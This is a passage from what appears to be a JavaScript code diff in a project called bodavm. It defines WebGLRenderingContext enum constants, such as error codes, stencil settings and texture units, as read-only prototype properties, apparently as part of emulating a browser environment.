writable: false, + value: 32926 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + 